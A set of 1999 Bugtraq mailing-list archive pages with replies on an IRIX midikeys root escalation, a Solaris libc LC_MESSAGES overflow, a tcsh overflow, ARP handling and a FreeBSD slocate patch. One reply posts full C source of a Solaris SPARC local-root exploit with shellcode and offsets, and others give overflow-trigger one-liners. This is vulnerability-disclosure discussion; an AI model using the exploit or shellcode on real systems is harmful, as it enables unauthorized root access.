  I have tested the exploit on a couple of Octanes, and
  it seems to be fixed in the IRIX 6.5.3 feature stream.

  Our machines using 6.5.3f were not vulnerable.
  Both the filemanager and the editor ran as the user
  no root.

  Verified to work on Octane running IRIX 6.4
  uname -aR
  IRIX64 octane 6.4 S2MP+OCTANE 02121744 IP30

  Verified to NOT work on Octane running IRIX 6.5.3f
  uname -aR
  IRIX64 octane 6.5 6.5.3f 01221643 IP30

  The IRIX 6.5.4 streams is available for download,
  anyone try them?

>From J.A. Gutierrez <spdgtc1.cps.unizar.es>:

    * verified:

    IRIX64 IRIX 6.5.3f
    (editor (jot) runs as root)
     |-+------- 1147467 root     midikeys
     | \-+----- 1150492 root     dirview /usr/share/data/music
     |   \----- 1152654 root     fmserv sgonyx.ita.es:1.0


    * Didn't work at first

    IRIX 6.2 where midikeys is from dmedia_eoe.sw.synth
    (editor (vi) runs as user)

    But if you open an X11 editor (gvim), it will run as root,
    and you will be able to edit anything, again...

>From eLement <eLementnirvanet.net>:

  The vulnerability is verified to work on

  uname -aR
  IRIX eLement 6.3 O2 R10000 12161207 IP32

>From Klaus <klausimprint.uwaterloo.ca>

  The machine on my desk:

  IRIX grimlock 6.5 6.5.2m 11051733 IP32

  didn't seem to be vulnerable, but I don't have nedit installed; vi didn't
  preserve my setuid from midikeys.

  However, on a machine -with- nedit,

  IRIX jazz 6.5 6.5.2m 11051733 IP32

  I was able to replicate it. I was also able to replicate the exploit using
  jot (another window based text editor).

  So the exploit seems to revolve around the use of an editor that doesn't
  require a terminal device; opening a tty to run the editor (although I'm
  not 100% on how gvim works in that respect) seems to reset the effective
  UID.


--
Aleph One / aleph1underground.org
http://underground.org/
KeyID 1024/948FD6B5
Fingerprint EE C9 E8 AA CB AF 09 61  8C 39 EA 47 A8 6A B8 01

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: Solaris libc exploit

Re: Solaris libc exploit

UNYUNShadowPenguinSecurity ("UNYUNShadowPenguinSecurity")
Mon, 24 May 1999 02:15:27 +0900

Hi,

> $ setenv LC_MESSAGES `perl -e 'print "A"x1024'`
You have to set more long string to LC_MESSAGES
If you are using /bin/sh....

host% /bin/sh
$ LC_MESSAGES=`perl -e 'print "A"x5000'`
Bus error
host%




---
The Shadow Penguin Security : http://base.oc.to/skyscraper/byte/551
Webmaster : UNYUN (unewn4thusa.net)

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: tcsh overflow

Re: tcsh overflow

Philip Rowlands (phrDOC.IC.AC.UK)
Fri, 21 May 1999 19:03:11 +0100

arkth wrote:
>
> While few days ago there was discussion about bash overflow on bugtraq i
> found another overflow in tcsh-6.07.09-1 [ rh 5.2 ].
> The problem is in too long $HOME evironment variable [ very old thing -
> zgv overflow ]. I don't know if it's a dangerous problem, but like someone
> said this shell can be used in some kind of script with SUID, etc.
>

>From the tcsh changelog:

 93. V6.07.12 - 19980918
  90. Avoid buffer overflows in directory code (kim)

Looks like the fault you found was fixed in 6.07.12

However, I tried the "exploit" given using tcsh 6.08.04, and found that
tcsh still crashes, but this time with a SIGABRT rather than SIGSEGV.

Checking in the source shows:

 /*
  * kim: if the path given is too long abort().
  */
    if (Strlen(cp) >= MAXPATHLEN)
	abort();

i.e. this behaviour is hard coded in deliberately.

This is the stacktrace from GDB:

(gdb) bt
#0  0x40097781 in __kill ()
#1  0x400975af in raise (sig=6) at ../sysdeps/posix/raise.c:27
#2  0x400987bf in abort () at ../sysdeps/generic/abort.c:83
#3  0x804db5b in dcanon (cp=0x80aa808, p=0x80aa808) at sh.dir.c:829
#4  0x80553f5 in dosetenv (v=0x80b2a08, c=0x80b3fc8) at sh.func.c:1402
#5  0x8053c3e in func (t=0x80b3fc8, bp=0x80815d0) at sh.func.c:141
#6  0x805f677 in execute (t=0x80b3fc8, wanttty=22898, pipein=0x0,
pipeout=0x0)
    at sh.sem.c:642
#7  0x805f831 in execute (t=0x80b3fa8, wanttty=22898, pipein=0x0,
pipeout=0x0)
    at sh.sem.c:719
#8  0x804c1ac in process (catch=1) at sh.c:2094
#9  0x804b440 in main (argc=0, argv=0xbffff568) at sh.c:1312



Phil

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: NetBSD Security Advisory 1999-010

Re: NetBSD Security Advisory 1999-010

Olaf Kirch (okirMONAD.SWB.DE)
Fri, 21 May 1999 16:59:21 +0200

Talking of ARP, at least Linux has the problem that it blindly accepts
whatever hardware address it finds in the ARP response -- be it the
MAC broadcast address, or a multicast one. Not sure wheter other
OSs are affected.

I didn't find anything dangerous you can do with this, unless there's
some really stupid IP stack that tries to forward IP packets that were
sent to the MAC broadcast--that would indeed be network meltdown. But
I haven't seen such a stack.

I reported this to Alan a week or two ago, so I would assume that
it has been fixed in the meanwhile :)

Olaf
--
Olaf Kirch         |  --- o --- Nous sommes du soleil we love when we play
okirmonad.swb.de  |    / | \   sol.dhoop.naytheet.ah kin.ir.samse.qurax

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: Solaris libc exploit

Re: Solaris libc exploit

Oystein Viggen (oysteiviTIHLDE.ORG)
Sat, 22 May 1999 17:26:47 +0200

On Sat, 22 May 1999, UNYUNShadowPenguinSecurity wrote:

> Hello.
>
> libc overflows when that handles LC_MESSAGES.
> So, If you set the long string to LC_MESSAGES and call
> /bin/sh, the core file is dumped.
> This is serious problem.
>
> The long string that contains the exploit code is set to
> LC_MESSAGES and called suid program by execl(), local user
> can get the root privilege. The called suid program have
> not to contain the overflow bugs.
> I confirmed this bug on Solaris2.6 and Solaris7.
> Solaris2.4, 2.5 does not contain this bug.

Didn't work on my Solaris2.6/sparc box.
It just said "Illegal instruction" when using /bin/passwd and segfaulted
when using /bin/su.

Oystein
---
"The only way of discovering the limits of the possible
is to venture a little way past them into the impossible."
- Arthur C. Clarke

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Dirty patch for slocate v1.5

Dirty patch for slocate v1.5

matt (mattMLINK.NET)
Sun, 23 May 1999 09:30:36 -0400

Well, I'm sure some people will want to use Secure Locate  on FreeBSD. I
know I certaintly did, so I made a quick and dirty patch for it which will
make it run nicely on FreeBSD. Tested on FreeBSD 3.1-RELEASE, patch sent
to author to be fixed up (I hope =) and included in the 1.6 release of
slocate. I cannot say it too many times that this is a DIRTY HACK. It's
been running perfectly fine on my FreeBSD machine ever since I did it
though, so at least I know it works.. Patch follows. This will make a
link in /usr/libexec/ to updatedb which basically just calls slocate with
the -u option.. I personally run it from crontab as /usr/libexec/updatedb.

Oh yeah, don't forget to get rid of your old "normal" locate databases,
and if you wish, chmod 000 the normal locate binaries in /usr/libexec
like I did, or you could make links to updatedb from them, depending
if you call them alot from scripts.. Anyhow, be creative!

--- START DIFF ---

diff -urb slocate-1.5-original/install slocate-1.5/install
--- slocate-1.5-original/install        Wed May  5 21:51:29 1999
+++ slocate-1.5/install Thu May 13 02:15:03 1999
 -1,52 +1,79 
 #!/bin/sh

-groupadd >/dev/null 2>&1
+SYSTEM=`uname -s`
+echo "Finding your system type....."

-if [ $? -eq 127 ] ; then
+case ${SYSTEM} in
+
+    "Linux")
+
+        GPATH="/usr/sbin/groupadd"
+        GOPTS="slocate"
+
+        DBPATH="/var/lib/slocate"
+       UPREFIX="/usr/bin"
+
+       echo "We have a winner! SYSTEM=Linux"
+    ;;
+    "FreeBSD")
+
+        GPATH="/usr/sbin/pw"
+        GOPTS="groupadd slocate"
+
+        DBPATH="/var/db/slocate"
+       UPREFIX="/usr/libexec"
+
+       echo "We have a winner! SYSTEM=FreeBSD"
+    ;;
+    *)
    echo
-   echo "Could not find groupadd utility."
+   echo "Could not find system type for groupadd."
    echo
    echo "Read the README.DOC file to install Secure Locate manually."
    echo
    exit 1
-fi
+esac

 user=`id -un`
-
 instdir="/usr/bin"
 echo
 echo "Copying slocate to $instdir"
 install -m 0755 slocate /usr/bin
-groupadd slocate
+$GPATH $GOPTS

 CWD="`pwd`"

 cd $instdir
 echo
 echo "Changing permisions on slocate"
+
 chown $user:slocate slocate
 chmod g+s ./slocate
+
 cd $CWD
+
 echo "Making Database Directory"
-install -d -m 0750 /var/lib/slocate
-chown $user:slocate /var/lib/slocate
-echo "Creating Symlinks"
+install -d -m 0750 $DBPATH
+chown $user:slocate $DBPATH

+echo "Creating Symlinks"
 if [ -f /usr/bin/locate ] ; then
    rm -f /usr/bin/locate.old
    mv /usr/bin/locate /usr/bin/locate.old
+   chmod 700 /usr/bin/locate.old
 fi

 ln -s /usr/bin/slocate /usr/bin/locate

-if [ -f /usr/bin/updatedb ] ; then
-   rm -f /usr/bin/updatedb.old
-   mv /usr/bin/locate /usr/bin/locate.old
+if [ -f $UPREFIX/updatedb ] ; then
+   rm -f $UPREFIX/updatedb.old
+   mv $UPREFIX/updatedb $UPREFIX/updatedb.old
 fi

-ln -s /usr/bin/slocate /usr/bin/updatedb
+ln -s /usr/bin/slocate $UPREFIX/updatedb

 echo "Installing man page"
+
 if [ -d /usr/man ] ; then
   mandir="/usr/man"
 elif [ -d /usr/share/man ] ; then
diff -urb slocate-1.5-original/link.c slocate-1.5/link.c
--- slocate-1.5-original/link.c Wed May  5 14:21:05 1999
+++ slocate-1.5/link.c  Thu May 13 02:12:50 1999
 -6,7 +6,9 

 #include <stdio.h>
 #include <stdlib.h>
-
+#ifdef __FreeBSD__
+  #include <unistd.h> /* make it work on FreeBSD -matt */
+#endif
 #include "link.h"

 /* Initialize 2D List */
diff -urb slocate-1.5-original/main.c slocate-1.5/main.c
--- slocate-1.5-original/main.c Wed May  5 14:52:52 1999
+++ slocate-1.5/main.c  Thu May 13 02:12:50 1999
 -85,9 +85,18 
 #define WARN_MESSAGE "8 days"

 char **SLOCATE_PATH = NULL;
+
+/* More fitting paths for FreeBSD -matt */
+#ifdef __FreeBSD__
+char *SLOCATEDB = "/var/db/slocate/slocate.db";
+char *TMPSLOCATEDB = "/var/db/slocate/slocate.tmp";
+char *SLOCATEDB_DIR = "/var/db/slocate/";
+#else
+/* Leave the normal paths for non-FreeBSD machines -matt */
 char *SLOCATEDB = "/var/lib/slocate/slocate.db";
 char *TMPSLOCATEDB = "/var/lib/slocate/slocate.tmp";
 char *SLOCATEDB_DIR = "/var/lib/slocate/";
+#endif
 char *EXCLUDE_DIR;
 int EXCLUDE=0;
 int VERBOSE=0;

--- END DIFF ---

--
Mail: mattmlink.net && mattccia.cc
IRC: irc.idirect.ca && mlink.ca.relic.net

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: Solaris libc exploit

Re: Solaris libc exploit

GOMBAS Gabor (gombasgVALERIE.INF.ELTE.HU)
Sun, 23 May 1999 19:06:28 +0200

Hello,

The exploit works for Solaris2.6/sun4u. With Solaris7/sun4m, it gives
"Illegal instruction". Maybe your exploit is using Ultrasparc-specific
instructions?

Gabor

---
Gabor Gombas                                       Eotvos Lorand University
E-mail: gombasginf.elte.hu                        Hungary

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: Solaris libc exploit

Re: Solaris libc exploit

acpizer (acpizerMACH.UNSEEN.ORG)
Sun, 23 May 1999 14:25:26 +0100

Hi guys,

 Below is a slightly modified exploit which will allow the user to specify
 the offset,  the author has not provided offsets for 2.7/SPARC so here
 they are, any one of these can be used: 7144, 7152, 7160, 7168...

 Cheers.


-- snip --
/*============================================================
   ex_lobc.c Overflow Exploits( for Sparc Edition)
   The Shadow Penguin Security
   (http://base.oc.to:/skyscraper/byte/551)
   Written by UNYUN (unewn4thusa.net)


   offsets for 2.7/SPARC: 7144, 7152, 7160, 7168, and more...
   offset for 2.6/SPARC: 5392

  ============================================================
*/
#define EV          "LC_MESSAGES="
#define ADJUST      0
#define STARTADR    400
#define NOP         0xa61cc013
#define RETS        600

char    x[80000];

char exploit_code[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2b\x0b\xda\xdc\xae\x15\x63\x68"
"\x90\x0b\x80\x0e\x92\x03\xa0\x0c"
"\x94\x10\x20\x10\x94\x22\xa0\x10"
"\x9c\x03\xa0\x14"
"\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
"\x91\xd0\x20\x08"
;

unsigned long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}

int i;
unsigned int ret_adr;

main(int argc, char *argv[])
{
    int OFFSET;

    putenv("LANG=");
    memset(x,'x',70000);


    if (argc == 2)
      OFFSET = atoi(argv[1]);
        else
             OFFSET = 5392;     // default offset for 2.6

    for (i = 0; i < ADJUST; i++) x[i]=0x40;
    for (i = ADJUST; i < 1000; i+=4){
        x[i+3]=NOP & 0xff;
        x[i+2]=(NOP >> 8 ) &0xff;
        x[i+1]=(NOP >> 16 ) &0xff;
        x[i+0]=(NOP >> 24 ) &0xff;
    }
    for (i=0;i<strlen(exploit_code);i++) \
		x[STARTADR+i+ADJUST]=exploit_code[i];
    ret_adr=get_sp()-OFFSET;
    printf("jumping address : %lx,  offset = %d\n",ret_adr, OFFSET);
    if ((ret_adr & 0xff) ==0 ){
        ret_adr -=16;
        printf("New jumping address : %lx\n",ret_adr);
    }
    for (i = ADJUST+RETS; i < RETS+600; i+=4){
        x[i+3]=ret_adr & 0xff;
        x[i+2]=(ret_adr >> 8 ) &0xff;
        x[i+1]=(ret_adr >> 16 ) &0xff;
        x[i+0]=(ret_adr >> 24 ) &0xff;
    }
    memcpy(x,EV,strlen(EV));
    x[3000]=0;
    putenv(x);
    execl("/bin/rsh","su",(char *)0);
}
-- snip --

-------------------------------------------------------------------------------
"Probably you've only really grown up, when you can bear not being understood."

                              Marian Gold /Alphaville

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: Solaris libc exploit

Re: Solaris libc exploit

M.C.Mar (woloszynit.pl)
Sun, 23 May 1999 15:43:54 +0200

On Sat, 22 May 1999, UNYUNShadowPenguinSecurity wrote:

> Hello.
>
> libc overflows when that handles LC_MESSAGES.
> So, If you set the long string to LC_MESSAGES and call
> /bin/sh, the core file is dumped.
> This is serious problem.
>
Well...
$ setenv LC_MESSAGES `perl -e 'print "A"x1024'`
$ /bin/sh
couldn't set locale correctly
$ uname -a
SunOS XXXXXX 5.6 Generic_105181-07 sun4u sparc SUNW,Ultra-4

> The long string that contains the exploit code is set to
> LC_MESSAGES and called suid program by execl(), local user
> can get the root privilege. The called suid program have
> not to contain the overflow bugs.
> I confirmed this bug on Solaris2.6 and Solaris7.
> Solaris2.4, 2.5 does not contain this bug.
>
Do I need to call it directly by execl???

> The following program is an example to get root privilege.
> This is tested on Solaris2.6 for Sparc edition.
> This program calls "/bin/passwd", but you can also specify
> other  suid programs such as "/bin/su" or "/bin/rsh".
>

$ traceroute
Error: Aborting!
 Excessive environment variable length:
'LC_MESSAGES=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

Seems like universal wrapper...
Any details? Did I missed something?

--
___________________________________________________________________________
M.C.Mar   An NT server can be run by an idiot, and usually is.   emsiit.pl
      "If you can't make it good, make it LOOK good." - Bill Gates
   Those who do not understand Unix are condemned to reinvent it, poorly.
            - Henry Spencer, University of Toronto Unix hack

2nd quarter (Apr-Jun) 1999, sorted by author

Bugtraq mailing list archives

2nd quarter (Apr-Jun) 1999, sorted by author

Starting: Thu 01 Apr 1999 - 12:38:52 CDT
Ending: Sun 23 May 1999 - 13:00:22 CDT
Messages: 527

Last message date: Sun 23 May 1999 - 13:00:22 CDT
Archived on: Sun May 23 1999 - 22:00:26 CDT


This archive was generated by hypermail 1.02. 2nd quarter (Apr-Jun) 1999, sorted by date

Bugtraq mailing list archives

2nd quarter (Apr-Jun) 1999, sorted by date

Starting: Thu 01 Apr 1999 - 12:38:52 CDT
Ending: Sun 23 May 1999 - 13:00:22 CDT
Messages: 527

Last message date: Sun 23 May 1999 - 13:00:22 CDT
Archived on: Sun May 23 1999 - 22:00:26 CDT


This archive was generated by hypermail 1.02. 2nd quarter (Apr-Jun) 1999, sorted by thread

Bugtraq mailing list archives

2nd quarter (Apr-Jun) 1999, sorted by thread

Starting: Thu 01 Apr 1999 - 12:38:52 CDT
Ending: Sun 23 May 1999 - 13:00:22 CDT
Messages: 527

Last message date: Sun 23 May 1999 - 13:00:22 CDT
Archived on: Sun May 23 1999 - 22:00:26 CDT


This archive was generated by hypermail 1.02. 2nd quarter (Apr-Jun) 1999, sorted by subject

Bugtraq mailing list archives

2nd quarter (Apr-Jun) 1999, sorted by subject

Starting: Thu 01 Apr 1999 - 12:38:52 CDT
Ending: Sun 23 May 1999 - 13:00:22 CDT
Messages: 527

Last message date: Sun 23 May 1999 - 13:00:22 CDT
Archived on: Sun May 23 1999 - 22:00:26 CDT


This archive was generated by hypermail 1.02.